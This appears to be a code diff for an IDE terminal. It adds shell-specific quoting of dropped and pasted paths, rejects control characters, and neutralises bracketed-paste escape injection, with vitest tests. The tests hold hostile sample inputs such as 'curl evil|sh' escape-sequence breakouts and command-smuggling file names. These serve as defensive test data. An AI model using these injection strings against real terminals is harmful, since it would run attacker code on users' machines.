const paste = vi.fn();
|
||||
const remove = installTerminalDrop(host, paste, () => ({ shell: "zsh" }));
|
||||
try {
|
||||
const handled = handleFileDrop(["/tmp/a\nb"], 1, 1);
|
||||
expect(handled).not.toBeNull();
|
||||
await handled;
|
||||
expect(paste).not.toHaveBeenCalled();
|
||||
expect(notify).toHaveBeenCalledWith({
|
||||
level: "error",
|
||||
title: "Cannot paste the dropped files",
|
||||
body: "Cannot paste this path safely: its name contains control characters.",
|
||||
});
|
||||
} finally {
|
||||
remove();
|
||||
}
|
||||
});
|
||||
|
||||
it("pastes only into the host under the cursor without executing, regardless of registration order", async () => {
|
||||
const list = vi.spyOn(commands, "clipboardFileList");
|
||||
const hosts = [document.createElement("div"), document.createElement("div")];
|
||||
|
||||
@@ -5,27 +5,46 @@
|
||||
* folder) or the browser / shell falling through to a system dialog. Images are
|
||||
* treated the same way: showing the path is the expected behaviour.
|
||||
*/
|
||||
import { formatArgs } from "@/platform/commandLine";
|
||||
import { tx } from "@/platform/i18n";
|
||||
import { usePlatform } from "@/platform/platformInfo";
|
||||
import { isRemoteWindow } from "@/platform/remote";
|
||||
import { FILES_DRAG, registerDropTarget } from "@/ui";
|
||||
import { notifications } from "@/workbench/contributions";
|
||||
import { registerFileDropHandler } from "@/workbench/fileDrop";
|
||||
import { dialectOf, quoteForShell } from "./quote";
|
||||
|
||||
/** Shell-quoted paths for the prompt; the user presses Enter to execute. */
|
||||
export function droppedPathsText(paths: readonly string[]): string {
|
||||
if (usePlatform.getState().os === "windows")
|
||||
return paths.map((p) => (/[\s&|<>()^]/.test(p) ? `"${p}"` : p)).join(" ");
|
||||
return formatArgs(paths);
|
||||
/**
|
||||
* Paths quoted for the prompt of `shell`, or for the program's own input when none is known; the
|
||||
* user presses Enter to execute. Throws for a name that cannot be quoted safely.
|
||||
*/
|
||||
export function droppedPathsText(paths: readonly string[], shell?: string | null): string {
|
||||
const dialect = dialectOf(shell, usePlatform.getState().os === "windows");
|
||||
return paths.map((p) => quoteForShell(p, dialect)).join(" ");
|
||||
}
|
||||
|
||||
/** Registers the terminal's drop handlers; the disposer unregisters them. */
|
||||
export function installTerminalDrop(host: HTMLElement, paste: (text: string) => void): () => void {
|
||||
export function installTerminalDrop(
|
||||
host: HTMLElement,
|
||||
paste: (text: string) => void,
|
||||
getTarget?: () => { shell: string } | null,
|
||||
): () => void {
|
||||
const pasteDropped = (paths: readonly string[]) => {
|
||||
try {
|
||||
paste(droppedPathsText(paths, getTarget?.()?.shell));
|
||||
} catch (error) {
|
||||
notifications().notify({
|
||||
level: "error",
|
||||
title: tx("Cannot paste the dropped files"),
|
||||
body: error instanceof Error ? error.message : String(error),
|
||||
});
|
||||
}
|
||||
};
|
||||
const removeOsDrop = registerFileDropHandler((paths, x, y) => {
|
||||
// A remote terminal can't reach this machine's files.
|
||||
if (!paths.length || isRemoteWindow()) return false;
|
||||
const el = document.elementFromPoint(x, y);
|
||||
if (!el || !host.contains(el)) return false;
|
||||
paste(droppedPathsText(paths));
|
||||
pasteDropped(paths);
|
||||
return true;
|
||||
});
|
||||
// Project view paths are the project's own, so they also hold in a remote terminal.
|
||||
@@ -38,7 +57,7 @@ export function installTerminalDrop(host: HTMLElement, paste: (text: string) =>
|
||||
.split("\n")
|
||||
.filter(Boolean)
|
||||
.map((p) => (p.length > 1 && p.endsWith("/") ? p.slice(0, -1) : p));
|
||||
if (paths.length) paste(droppedPathsText(paths));
|
||||
if (paths.length) pasteDropped(paths);
|
||||
},
|
||||
});
|
||||
return () => {
|
||||
|
||||
@@ -8,7 +8,7 @@ import { writeClipboardText } from "@/platform/clipboard";
|
||||
import { noteCopySource } from "@/platform/clipboardSource";
|
||||
import { installTerminalDrop } from "./drop";
|
||||
import { installDomRowCache } from "./domRowCache";
|
||||
import { installTerminalPaste } from "./paste";
|
||||
import { installTerminalPaste, pasteIntoTerminal } from "./paste";
|
||||
import { ownTerminalInput } from "./imeInput";
|
||||
import { Terminal, type IDisposable } from "@xterm/xterm";
|
||||
import { FitAddon } from "@xterm/addon-fit";
|
||||
@@ -110,8 +110,8 @@ export function createEmbeddedTerminal(host: HTMLElement, opts: EmbeddedTerminal
|
||||
},
|
||||
}),
|
||||
];
|
||||
const removePaste = installTerminalPaste(host, (text) => term.paste(text));
|
||||
const removeDrop = installTerminalDrop(host, (text) => term.paste(text));
|
||||
const removePaste = installTerminalPaste(host, (text) => pasteIntoTerminal(term, text));
|
||||
const removeDrop = installTerminalDrop(host, (text) => pasteIntoTerminal(term, text));
|
||||
term.open(host);
|
||||
installDomRowCache(term);
|
||||
if (opts["aria-label"]) term.textarea?.setAttribute("aria-label", opts["aria-label"]);
|
||||
|
||||
@@ -6,6 +6,7 @@
|
||||
import { registerActions } from "@/platform/actions";
|
||||
import { onIdeEvent } from "@/platform/ipc";
|
||||
import { useProject } from "@/platform/project";
|
||||
import { useSystemFontStore } from "@/platform/systemFonts";
|
||||
import { onWorkflowSettingsChange } from "@/platform/workflowSettings";
|
||||
import {
|
||||
provideEmbeddedTerminal,
|
||||
@@ -317,6 +318,14 @@ export function activate(): () => void {
|
||||
terminalRuntime()?.applySettingsToClis();
|
||||
}
|
||||
}),
|
||||
// Prompt-theme icons (oh-my-posh, starship) come from the user's installed Nerd Font.
|
||||
// Faces beyond the known list are discovered once the native font catalog loads (off
|
||||
// startup), so open terminals re-apply their font stack then (#3723).
|
||||
useSystemFontStore.subscribe((s, prev) => {
|
||||
if (s.fonts === prev.fonts) return;
|
||||
terminalRuntime()?.applySettingsToAll();
|
||||
terminalRuntime()?.applySettingsToClis();
|
||||
}),
|
||||
onIdeEvent("terminalExited", (e) => {
|
||||
const rt = terminalRuntime();
|
||||
(rt?.sessionForTerminalId(e.terminal) ?? rt?.cliSessionForTerminalId(e.terminal))?.exited(e.code);
|
||||
|
||||
@@ -2,7 +2,7 @@ import { afterEach, beforeEach, expect, it, vi } from "vitest";
|
||||
import { Terminal } from "@xterm/xterm";
|
||||
import { commands } from "@/platform/ipc";
|
||||
import { usePlatform } from "@/platform/platformInfo";
|
||||
import { installTerminalPaste, pasteTerminalClipboard, type TerminalPasteTarget } from "./paste";
|
||||
import { installTerminalPaste, pasteIntoTerminal, pasteTerminalClipboard, type TerminalPasteTarget } from "./paste";
|
||||
|
||||
const notify = vi.hoisted(() => vi.fn());
|
||||
vi.mock("@/workbench/contributions", () => ({ notifications: () => ({ notify }) }));
|
||||
@@ -87,6 +87,83 @@ it("passes recovered multiline paths through xterm bracketed paste", async () =>
|
||||
}
|
||||
});
|
||||
|
||||
const BRACKETED_PASTE_ON = "\x1b[?2004h";
|
||||
|
||||
async function openTerminal(bracketed: boolean) {
|
||||
const host = document.createElement("div");
|
||||
document.body.append(host);
|
||||
const term = new Terminal({ allowProposedApi: true });
|
||||
term.open(host);
|
||||
const data: string[] = [];
|
||||
term.onData((text) => data.push(text));
|
||||
if (bracketed) await new Promise<void>((resolve) => term.write(BRACKETED_PASTE_ON, resolve));
|
||||
return {
|
||||
host,
|
||||
term,
|
||||
data,
|
||||
close() {
|
||||
term.dispose();
|
||||
host.remove();
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
function pasteEvent(text: string): Event {
|
||||
const event = new Event("paste", { bubbles: true, cancelable: true });
|
||||
Object.defineProperty(event, "clipboardData", { value: { getData: () => text, files: [], types: ["text/plain"] } });
|
||||
return event;
|
||||
}
|
||||
|
||||
it("shows an ESC in pasted text as a symbol so it cannot end bracketed paste early", async () => {
|
||||
const { term, data, close } = await openTerminal(true);
|
||||
try {
|
||||
pasteIntoTerminal(term, "a\x1b[201~curl evil|sh\r");
|
||||
expect(data).toEqual(["\x1b[200~a\u241b[201~curl evil|sh\r\x1b[201~"]);
|
||||
} finally {
|
||||
close();
|
||||
}
|
||||
});
|
||||
|
||||
it("leaves pasted text unchanged when the shell has not asked for bracketed paste", async () => {
|
||||
const { term, data, close } = await openTerminal(false);
|
||||
try {
|
||||
pasteIntoTerminal(term, "a\x1b[201~b\r");
|
||||
expect(data).toEqual(["a\x1b[201~b\r"]);
|
||||
} finally {
|
||||
close();
|
||||
}
|
||||
});
|
||||
|
||||
it("claims a Ctrl+V whose text holds an ESC, before xterm's own listener brackets it as is", async () => {
|
||||
const { host, term, data, close } = await openTerminal(true);
|
||||
const remove = installTerminalPaste(host, (text) => pasteIntoTerminal(term, text));
|
||||
try {
|
||||
const event = pasteEvent("README\x1b[201~;curl evil|sh;#\r");
|
||||
term.textarea!.dispatchEvent(event);
|
||||
expect(event.defaultPrevented).toBe(true);
|
||||
expect(data).toEqual(["\x1b[200~README\u241b[201~;curl evil|sh;#\r\x1b[201~"]);
|
||||
} finally {
|
||||
remove();
|
||||
close();
|
||||
}
|
||||
});
|
||||
|
||||
it("leaves a Ctrl+V without an ESC to xterm", async () => {
|
||||
const { host, term, data, close } = await openTerminal(true);
|
||||
const paste = vi.fn((text: string) => pasteIntoTerminal(term, text));
|
||||
const remove = installTerminalPaste(host, paste);
|
||||
try {
|
||||
const event = pasteEvent("ls -la\r");
|
||||
term.textarea!.dispatchEvent(event);
|
||||
expect(event.defaultPrevented).toBe(false);
|
||||
expect(paste).not.toHaveBeenCalled();
|
||||
expect(data).toEqual(["\x1b[200~ls -la\r\x1b[201~"]);
|
||||
} finally {
|
||||
remove();
|
||||
close();
|
||||
}
|
||||
});
|
||||
|
||||
function image(buffer: () => Promise<ArrayBuffer> = async () => new Uint8Array([1, 2]).buffer, size = 2): Blob {
|
||||
return { type: "image/png", size, arrayBuffer: buffer } as Blob;
|
||||
}
|
||||
@@ -441,6 +518,12 @@ it("reads file URI lists without relying on a native file-list backend", async (
|
||||
|
||||
it.each([
|
||||
{ shell: "pwsh", path: "C:\\Users\\a'b $c\\image.png", expected: "'C:\\Users\\a''b $c\\image.png'" },
|
||||
{
|
||||
shell: "pwsh",
|
||||
path: "C:\\a\u2019; calc; \u2018b\\image.png",
|
||||
expected: "'C:\\a\u2019\u2019; calc; \u2018\u2018b\\image.png'",
|
||||
},
|
||||
{ shell: "powershell", path: "C:\\a\u201ab\u201bc.png", expected: "'C:\\a\u201a\u201ab\u201b\u201bc.png'" },
|
||||
{ shell: "powershell", path: "C:\\a b\\image.png", expected: "'C:\\a b\\image.png'" },
|
||||
{ shell: "zsh", path: "/tmp/a'b $中文.png", expected: "'/tmp/a'\\''b $中文.png'" },
|
||||
{ shell: "bash", path: "/tmp/a'b $中文.png", expected: "'/tmp/a'\\''b $中文.png'" },
|
||||
@@ -458,6 +541,23 @@ it.each([
|
||||
remove();
|
||||
});
|
||||
|
||||
it.each(["bash", "pwsh", "fish"])("rejects control characters in a stored path for %s", async (shell) => {
|
||||
vi.spyOn(commands, "termStoreImage").mockResolvedValue({ status: "ok", data: "/tmp/a\nb.png" });
|
||||
const host = document.createElement("div");
|
||||
const paste = vi.fn();
|
||||
const remove = installTerminalPaste(host, paste, () => localTarget(shell));
|
||||
host.dispatchEvent(imageEvent(image()));
|
||||
await vi.waitFor(() =>
|
||||
expect(notify).toHaveBeenCalledWith({
|
||||
level: "error",
|
||||
title: "Cannot paste clipboard media",
|
||||
body: "Cannot paste this path safely: its name contains control characters.",
|
||||
}),
|
||||
);
|
||||
expect(paste).not.toHaveBeenCalled();
|
||||
remove();
|
||||
});
|
||||
|
||||
it.each(["audio/wav", "video/mp4"])("stores raw %s clipboard data", async (type) => {
|
||||
const store = vi.spyOn(commands, "termStoreImage").mockResolvedValue({ status: "ok", data: "/tmp/media" });
|
||||
const host = document.createElement("div");
|
||||
|
||||
@@ -3,6 +3,8 @@ import { call, commands, type TerminalId } from "@/platform/ipc";
|
||||
import { tx } from "@/platform/i18n";
|
||||
import { usePlatform } from "@/platform/platformInfo";
|
||||
import { notifications } from "@/workbench/contributions";
|
||||
import type { Terminal } from "@xterm/xterm";
|
||||
import { dialectOf, quoteForShell } from "./quote";
|
||||
|
||||
export interface TerminalPasteTarget {
|
||||
id: TerminalId;
|
||||
@@ -15,21 +17,20 @@ export interface TerminalPasteTarget {
|
||||
type Target = () => TerminalPasteTarget | null;
|
||||
|
||||
const MAX_MEDIA_BYTES = 20 * 1024 * 1024;
|
||||
const ESC = "\x1b";
|
||||
|
||||
/**
|
||||
* xterm.js 6.0 brackets pasted text as it is, so an ESC[201~ inside it ends the bracket early and
|
||||
* what follows is typed, Enter included. Shows each ESC as U+241B (␛), as xterm.js 6.1 does,
|
||||
* while the shell has bracketed paste on.
|
||||
*/
|
||||
export function pasteIntoTerminal(term: Pick<Terminal, "paste" | "modes">, text: string): void {
|
||||
term.paste(term.modes.bracketedPasteMode ? text.replaceAll(ESC, "\u241b") : text);
|
||||
}
|
||||
|
||||
function pathsText(paths: readonly string[], target: TerminalPasteTarget): string {
|
||||
const shell = target.shell.toLowerCase().replace(/\.exe$/, "");
|
||||
return paths
|
||||
.map((path) => {
|
||||
if (shell === "cmd") {
|
||||
if (/[%!"\r\n]/.test(path))
|
||||
throw new Error(tx("Cannot paste this path safely in cmd.exe. Use PowerShell or a POSIX shell."));
|
||||
return `"${path}"`;
|
||||
}
|
||||
if (shell === "powershell" || shell === "pwsh") return `'${path.replaceAll("'", "''")}'`;
|
||||
if (shell === "fish") return `'${path.replaceAll("\\", "\\\\").replaceAll("'", "\\'")}'`;
|
||||
return `'${path.replaceAll("'", "'\\''")}'`;
|
||||
})
|
||||
.join(" ");
|
||||
const dialect = dialectOf(target.shell, false);
|
||||
return paths.map((path) => quoteForShell(path, dialect, true)).join(" ");
|
||||
}
|
||||
|
||||
function isMedia(type: string): boolean {
|
||||
@@ -107,6 +108,13 @@ export function installTerminalPaste(host: HTMLElement, paste: (text: string) =>
|
||||
return;
|
||||
}
|
||||
}
|
||||
const pasted = transfer?.getData("text/plain");
|
||||
if (!event.defaultPrevented && pasted?.includes(ESC)) {
|
||||
event.preventDefault();
|
||||
event.stopImmediatePropagation();
|
||||
if (alive) paste(pasted);
|
||||
return;
|
||||
}
|
||||
pasteClipboardFiles(event, (text) => {
|
||||
if (alive) paste(text);
|
||||
});
|
||||
|
||||
@@ -0,0 +1,151 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { dialectOf, quoteForShell, type QuoteDialect } from "./quote";
|
||||
|
||||
/** Reads a word back the way the shell does, for the quote forms `quoteForShell` writes. */
|
||||
function read(dialect: QuoteDialect, word: string): string {
|
||||
if (dialect === "powershell") {
|
||||
if (!word.startsWith("'")) return word;
|
||||
expect(word.endsWith("'")).toBe(true);
|
||||
const inner = word.slice(1, -1);
|
||||
const undoubled = inner.replace(/(['\u2018\u2019\u201a\u201b])\1/gu, "$1");
|
||||
// Every quote character inside the string must have been doubled.
|
||||
expect(inner.replace(/(['\u2018\u2019\u201a\u201b])\1/gu, "")).not.toMatch(/['\u2018\u2019\u201a\u201b]/u);
|
||||
return undoubled;
|
||||
}
|
||||
if (dialect === "cmd" || dialect === "arg") {
|
||||
if (!word.startsWith('"')) return word;
|
||||
expect(word.endsWith('"')).toBe(true);
|
||||
expect(word.slice(1, -1)).not.toContain('"');
|
||||
return word.slice(1, -1);
|
||||
}
|
||||
let out = "";
|
||||
for (let i = 0; i < word.length; i++) {
|
||||
const c = word[i]!;
|
||||
if (c === "'") {
|
||||
const end = dialect === "fish" ? fishEnd(word, i + 1) : word.indexOf("'", i + 1);
|
||||
expect(end).toBeGreaterThan(i);
|
||||
const body = word.slice(i + 1, end);
|
||||
out += dialect === "fish" ? body.replace(/\\(['\\])/g, "$1") : body;
|
||||
i = end;
|
||||
} else if (c === "\\" && dialect === "posix") {
|
||||
out += word[++i];
|
||||
} else {
|
||||
expect(c).toMatch(/[\p{L}\p{N}_./:-]/u);
|
||||
out += c;
|
||||
}
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
function fishEnd(word: string, from: number): number {
|
||||
for (let i = from; i < word.length; i++) {
|
||||
if (word[i] === "\\") i++;
|
||||
else if (word[i] === "'") return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
const NASTY = [
|
||||
";{curl,evil.com}|sh;.txt",
|
||||
"a$(calc).txt",
|
||||
"a${HOME}b",
|
||||
"a`calc`b",
|
||||
"a'; calc; 'b",
|
||||
"a\u2019; calc; \u2018b.txt",
|
||||
"a\u201ab\u201bc",
|
||||
"*?[x]",
|
||||
"~root",
|
||||
"-rf",
|
||||
"=ls",
|
||||
"a b c",
|
||||
"#x",
|
||||
"a&b|c<d>e",
|
||||
"(sub)",
|
||||
"C:\\a b\\x",
|
||||
"$env:TEMP",
|
||||
"a\\b",
|
||||
"a\\'b",
|
||||
"\u65e5\u672c\u8a9e.txt",
|
||||
];
|
||||
|
||||
const DIALECTS: QuoteDialect[] = ["powershell", "fish", "posix"];
|
||||
|
||||
describe("dialectOf", () => {
|
||||
it.each([
|
||||
["pwsh", "powershell"],
|
||||
["PowerShell.exe", "powershell"],
|
||||
["powershell", "powershell"],
|
||||
["cmd", "cmd"],
|
||||
["CMD.EXE", "cmd"],
|
||||
["fish", "fish"],
|
||||
["zsh", "posix"],
|
||||
["bash", "posix"],
|
||||
["Local", "posix"],
|
||||
])("reads %s as %s", (shell, dialect) => {
|
||||
expect(dialectOf(shell, false)).toBe(dialect);
|
||||
expect(dialectOf(shell, true)).toBe(dialect);
|
||||
});
|
||||
|
||||
it("falls back to a program's argument rules when no shell is known", () => {
|
||||
expect(dialectOf(null, true)).toBe("arg");
|
||||
expect(dialectOf(undefined, false)).toBe("posix");
|
||||
});
|
||||
});
|
||||
|
||||
describe("quoteForShell", () => {
|
||||
it.each(DIALECTS)("gives every awkward name back as one literal word in %s", (dialect) => {
|
||||
for (const name of NASTY) expect(read(dialect, quoteForShell(name, dialect))).toBe(name);
|
||||
for (const name of NASTY) expect(read(dialect, quoteForShell(name, dialect, true))).toBe(name);
|
||||
});
|
||||
|
||||
it.each(["cmd", "arg"] as const)("keeps a name with shell punctuation inside double quotes in %s", (dialect) => {
|
||||
for (const name of ["a&b|c<d>e", "(sub)", "a^b", "a b", "a;b", "a,b", "a=b"]) {
|
||||
expect(quoteForShell(name, dialect)).toBe(`"${name}"`);
|
||||
}
|
||||
});
|
||||
|
||||
it("quotes every quote character PowerShell reads as one", () => {
|
||||
expect(quoteForShell("a\u2019; calc; \u2018b.txt", "powershell")).toBe("'a\u2019\u2019; calc; \u2018\u2018b.txt'");
|
||||
expect(quoteForShell("a\u201ab\u201bc'd", "powershell")).toBe("'a\u201a\u201ab\u201b\u201bc''d'");
|
||||
});
|
||||
|
||||
it("quotes what a shell would run, expand or split", () => {
|
||||
expect(quoteForShell("a$(calc).txt", "powershell")).toBe("'a$(calc).txt'");
|
||||
expect(quoteForShell("a;calc;.txt", "powershell")).toBe("'a;calc;.txt'");
|
||||
expect(quoteForShell(";{curl,evil.com}|sh;.txt", "posix")).toBe("';{curl,evil.com}|sh;.txt'");
|
||||
expect(quoteForShell("a'b", "posix")).toBe("'a'\\''b'");
|
||||
expect(quoteForShell("a'b\\c", "fish")).toBe("'a\\'b\\\\c'");
|
||||
});
|
||||
|
||||
it("leaves a plain path as it is unless every word must be quoted", () => {
|
||||
expect(quoteForShell("/usr/local/bin/tool", "posix")).toBe("/usr/local/bin/tool");
|
||||
expect(quoteForShell("C:\\plain\\file.ts", "powershell")).toBe("C:\\plain\\file.ts");
|
||||
expect(quoteForShell("C:\\plain\\file.ts", "cmd")).toBe("C:\\plain\\file.ts");
|
||||
expect(quoteForShell("/tmp/\u4e2d\u6587.txt", "fish")).toBe("/tmp/\u4e2d\u6587.txt");
|
||||
expect(quoteForShell("/usr/local/bin/tool", "posix", true)).toBe("'/usr/local/bin/tool'");
|
||||
expect(quoteForShell("C:\\plain\\file.ts", "powershell", true)).toBe("'C:\\plain\\file.ts'");
|
||||
});
|
||||
|
||||
it("quotes a path that would read as an option or a home directory", () => {
|
||||
expect(quoteForShell("-rf", "posix")).toBe("'-rf'");
|
||||
expect(quoteForShell("~root", "posix")).toBe("'~root'");
|
||||
});
|
||||
|
||||
it("double-quotes what a program that reads its own input could split or read specially", () => {
|
||||
expect(quoteForShell("C:\\a b\\c.png", "arg")).toBe('"C:\\a b\\c.png"');
|
||||
expect(quoteForShell("C:\\100%\\x", "arg")).toBe('"C:\\100%\\x"');
|
||||
expect(quoteForShell("C:\\plain\\file.ts", "arg")).toBe("C:\\plain\\file.ts");
|
||||
});
|
||||
|
||||
it.each(["powershell", "cmd", "fish", "posix", "arg"] as const)("refuses control characters in %s", (dialect) => {
|
||||
for (const name of ["a\nb", "a\rb", "a\x1bb", "a\tb", "a\x7fb", "a\u009bb"]) {
|
||||
expect(() => quoteForShell(name, dialect)).toThrow(/control characters/);
|
||||
}
|
||||
});
|
||||
|
||||
it.each(['a"b', "100%", "a!b"])("refuses %s for cmd, which expands it even inside quotes", (name) => {
|
||||
expect(() => quoteForShell(name, "cmd")).toThrow(
|
||||
"Cannot paste this path safely in cmd.exe. Use PowerShell or a POSIX shell.",
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,43 @@
|
||||
import { tx } from "@/platform/i18n";
|
||||
|
||||
/** How the program that reads a pasted path reads a word. `arg` is a program that splits its own input, with no shell in between. */
|
||||
export type QuoteDialect = "powershell" | "cmd" | "fish" | "posix" | "arg";
|
||||
|
||||
/** Letters, digits and separators that no shell reads as anything but part of a path. */
|
||||
const PLAIN_POSIX = /^(?!-)[\p{L}\p{N}_./:-]+$/u;
|
||||
const PLAIN_WINDOWS = /^(?!-)[\p{L}\p{N}_./\\:-]+$/u;
|
||||
/** PowerShell ends a single-quoted string at any of these, the typographic ones included. */
|
||||
const POWERSHELL_QUOTES = /['\u2018\u2019\u201a\u201b]/gu;
|
||||
|
||||
export function dialectOf(shell: string | null | undefined, windows: boolean): QuoteDialect {
|
||||
if (shell == null) return windows ? "arg" : "posix";
|
||||
const name = shell.toLowerCase().replace(/\.exe$/, "");
|
||||
if (name === "cmd") return "cmd";
|
||||
if (name === "powershell" || name === "pwsh") return "powershell";
|
||||
if (name === "fish") return "fish";
|
||||
return "posix";
|
||||
}
|
||||
|
||||
/**
|
||||
* `path` as one word that `dialect` reads as that file name and nothing else, so a name like
|
||||
* `a$(calc).txt` or `a;rm -rf x` cannot run a command from the prompt. Plain paths stay bare unless
|
||||
* `always`. Throws for a name no quoting can make safe.
|
||||
*/
|
||||
export function quoteForShell(path: string, dialect: QuoteDialect, always = false): string {
|
||||
if (/\p{Cc}/u.test(path)) throw new Error(tx("Cannot paste this path safely: its name contains control characters."));
|
||||
if (!always && (dialect === "posix" || dialect === "fish" ? PLAIN_POSIX : PLAIN_WINDOWS).test(path)) return path;
|
||||
switch (dialect) {
|
||||
case "powershell":
|
||||
return `'${path.replace(POWERSHELL_QUOTES, "$&$&")}'`;
|
||||
case "cmd":
|
||||
if (/["%!]/.test(path))
|
||||
throw new Error(tx("Cannot paste this path safely in cmd.exe. Use PowerShell or a POSIX shell."));
|
||||
return `"${path}"`;
|
||||
case "arg":
|
||||
return `"${path}"`;
|
||||
case "fish":
|
||||
return `'${path.replaceAll("\\", "\\\\").replaceAll("'", "\\'")}'`;
|
||||
case "posix":
|
||||
return `'${path.replaceAll("'", "'\\''")}'`;
|
||||
}
|
||||
}
|
||||
@@ -20,7 +20,7 @@ import { installTerminalDrop } from "./drop";
|
||||
import { installDomRowCache } from "./domRowCache";
|
||||
import { installSelectionHighlights, type SelectionHighlightController } from "./highlight";
|
||||
import { installLinkHighlights, xtermLink, type LinkHighlightController } from "./linkHighlights";
|
||||
import { installTerminalPaste, pasteTerminalClipboard } from "./paste";
|
||||
import { installTerminalPaste, pasteIntoTerminal, pasteTerminalClipboard } from "./paste";
|
||||
import { ImeCommitGate } from "./imeCommit";
|
||||
import { ownTerminalInput } from "./imeInput";
|
||||
import { findTerminalLinks, resolvePath, type TerminalLink } from "./links";
|
||||
@@ -375,7 +375,7 @@ export class TerminalSession {
|
||||
this.disposables.push(this.selectionHighlights, this.linkHighlights);
|
||||
this.disposables.push(
|
||||
{ dispose: installTerminalPaste(this.host, (text) => this.paste(text), this.clipboardTarget) },
|
||||
{ dispose: installTerminalDrop(this.host, (text) => this.paste(text)) },
|
||||
{ dispose: installTerminalDrop(this.host, (text) => this.paste(text), this.clipboardTarget) },
|
||||
);
|
||||
this.host.addEventListener("mousedown", this.onMiddleClick);
|
||||
this.host.addEventListener("wheel", this.onWheelZoom, { capture: true, passive: false });
|
||||
@@ -783,7 +783,7 @@ export class TerminalSession {
|
||||
|
||||
paste(text: string) {
|
||||
if (this.disposed) return;
|
||||
this.term.paste(text);
|
||||
pasteIntoTerminal(this.term, text);
|
||||
}
|
||||
|
||||
clearSelection() {
|
||||
|
||||
@@ -44,7 +44,7 @@ import { useWorkflowSettings } from "@/platform/workflowSettings";
|
||||
import { IconButton, Select, Spinner, T, isPopupOpen, showContextMenu } from "@/ui";
|
||||
import { registerSoftWrapSurface } from "@/workbench/softWrap";
|
||||
import { editorService, notifications, type EditorInput } from "@/workbench/contributions";
|
||||
import { changedLineGutters, diffOverview, diffWords, languageFor, viewerBase } from "./cm";
|
||||
import { changedLineGutters, diffOverview, diffWords, documentTooltips, languageFor, viewerBase } from "./cm";
|
||||
import { applyChunk, arrowControls, chunkAt, hoverRevert, revertUnifiedChunk } from "./diffControls";
|
||||
import {
|
||||
HIGHLIGHT_OPTIONS,
|
||||
@@ -249,6 +249,18 @@ function isStrokeOf(e: KeyboardEvent, actionId: string): boolean {
|
||||
return !!stroke && bindingsFor(actionId).some((b) => normalizeBinding(b) === stroke);
|
||||
}
|
||||
|
||||
/**
|
||||
* The typed text of editable text sides (by the request's side), per diff request: it outlives
|
||||
* rebuilt views and the editor unmounting while its tab is hidden.
|
||||
*/
|
||||
const typedSides = new WeakMap<DiffData, { left?: Text; right?: Text }>();
|
||||
|
||||
function typedSidesOf(data: DiffData): { left?: Text; right?: Text } {
|
||||
let typed = typedSides.get(data);
|
||||
if (!typed) typedSides.set(data, (typed = {}));
|
||||
return typed;
|
||||
}
|
||||
|
||||
export function DiffEditor({
|
||||
input,
|
||||
toolbarActions,
|
||||
@@ -284,10 +296,8 @@ export function DiffEditor({
|
||||
[input_, swapped],
|
||||
);
|
||||
const { path, left, right } = data;
|
||||
/** The typed text of editable text sides (by the request's side), kept across rebuilt views. */
|
||||
const edited = useRef<{ of: DiffData; left?: Text; right?: Text }>({ of: input_ });
|
||||
if (edited.current.of !== input_) edited.current = { of: input_ };
|
||||
const editedText = (s: Side) => edited.current[originOf(s, swapped)]?.toString();
|
||||
const edited = typedSidesOf(input_);
|
||||
const editedText = (s: Side) => edited[originOf(s, swapped)]?.toString();
|
||||
const [attached, setAttached] = useState<Attached | null>(null);
|
||||
const [binary, setBinary] = useState<boolean | null>(null);
|
||||
/** Text of the sides that are not live documents. */
|
||||
@@ -464,7 +474,7 @@ export function DiffEditor({
|
||||
useEffect(() => {
|
||||
const host = hostRef.current;
|
||||
if (!host || !attached || !statics || lang === null) return;
|
||||
const typed = (s: Side) => edited.current[originOf(s, swapped)]?.toString();
|
||||
const typed = (s: Side) => edited[originOf(s, swapped)]?.toString();
|
||||
const textA = typed("a") ?? attached.a?.text() ?? statics.a ?? "";
|
||||
const textB = typed("b") ?? attached.b?.text() ?? statics.b ?? "";
|
||||
const prev = viewsRef.current;
|
||||
@@ -483,7 +493,7 @@ export function DiffEditor({
|
||||
const keepEdits = (s: Side) =>
|
||||
isEditableText(s === "a" ? left : right)
|
||||
? EditorView.updateListener.of((u) => {
|
||||
if (u.docChanged) edited.current[originOf(s, swapped)] = u.state.doc;
|
||||
if (u.docChanged) edited[originOf(s, swapped)] = u.state.doc;
|
||||
})
|
||||
: [];
|
||||
const focusTracker = (side: "a" | "b") =>
|
||||
@@ -528,7 +538,7 @@ export function DiffEditor({
|
||||
blameSlot(),
|
||||
att?.extension ?? [],
|
||||
// The file's open document: quick docs and ⌘/Ctrl-click navigation, as in its editor.
|
||||
att ? diffSideExtensions(att.context()) : [],
|
||||
att ? [diffSideExtensions(att.context()), documentTooltips] : [],
|
||||
editable ? [editableExtensions(), embeddedEditorExtensions(path)] : [],
|
||||
notes
|
||||
? diffAnnotations(
|
||||
|
||||
+31
-2872
File diff suppressed because it is too large.
Load diff
@@ -4,7 +4,7 @@ import { EditorView } from "@codemirror/view";
|
||||
import type { Commit } from "@/bindings";
|
||||
import { call, commands, isTauri } from "@/platform/ipc";
|
||||
import { tx } from "@/platform/i18n";
|
||||
import { editorService, notifications, type EditorInput } from "@/workbench/contributions";
|
||||
import { notifications, type EditorInput } from "@/workbench/contributions";
|
||||
import {
|
||||
Dialog,
|
||||
EmptyState,
|
||||
@@ -22,19 +22,13 @@ import {
|
||||
import { openDialog } from "./dialogs";
|
||||
|
||||
import { commitRepo, type RepoCommit } from "./multiRoot";
|
||||
import { currentRepoRoot, useVcs } from "./store";
|
||||
import { currentRepoRoot } from "./store";
|
||||
import { repositoryPath } from "./repositoryPaths";
|
||||
import { languageFor, viewerBase } from "./cm";
|
||||
import styles from "./GitLog.module.css";
|
||||
import { choosePath } from "@/platform/choosePath";
|
||||
import { openLogTab } from "./logStore";
|
||||
|
||||
interface RevisionData {
|
||||
repo: string;
|
||||
revision: string;
|
||||
path: string;
|
||||
external?: boolean;
|
||||
}
|
||||
import { openRevisionFile, type RevisionData } from "./revisionInput";
|
||||
|
||||
export async function openExternalLog() {
|
||||
const picked = isTauri()
|
||||
@@ -118,20 +112,7 @@ function RevisionBrowser({
|
||||
const children = await call(commands.vcsRevisionChildren(repo, revision, path.replace(/\/$/, "")));
|
||||
setDirectories((current) => ({ ...current, [path]: children }));
|
||||
};
|
||||
const open = (path: string) => {
|
||||
if (useVcs.getState().root) {
|
||||
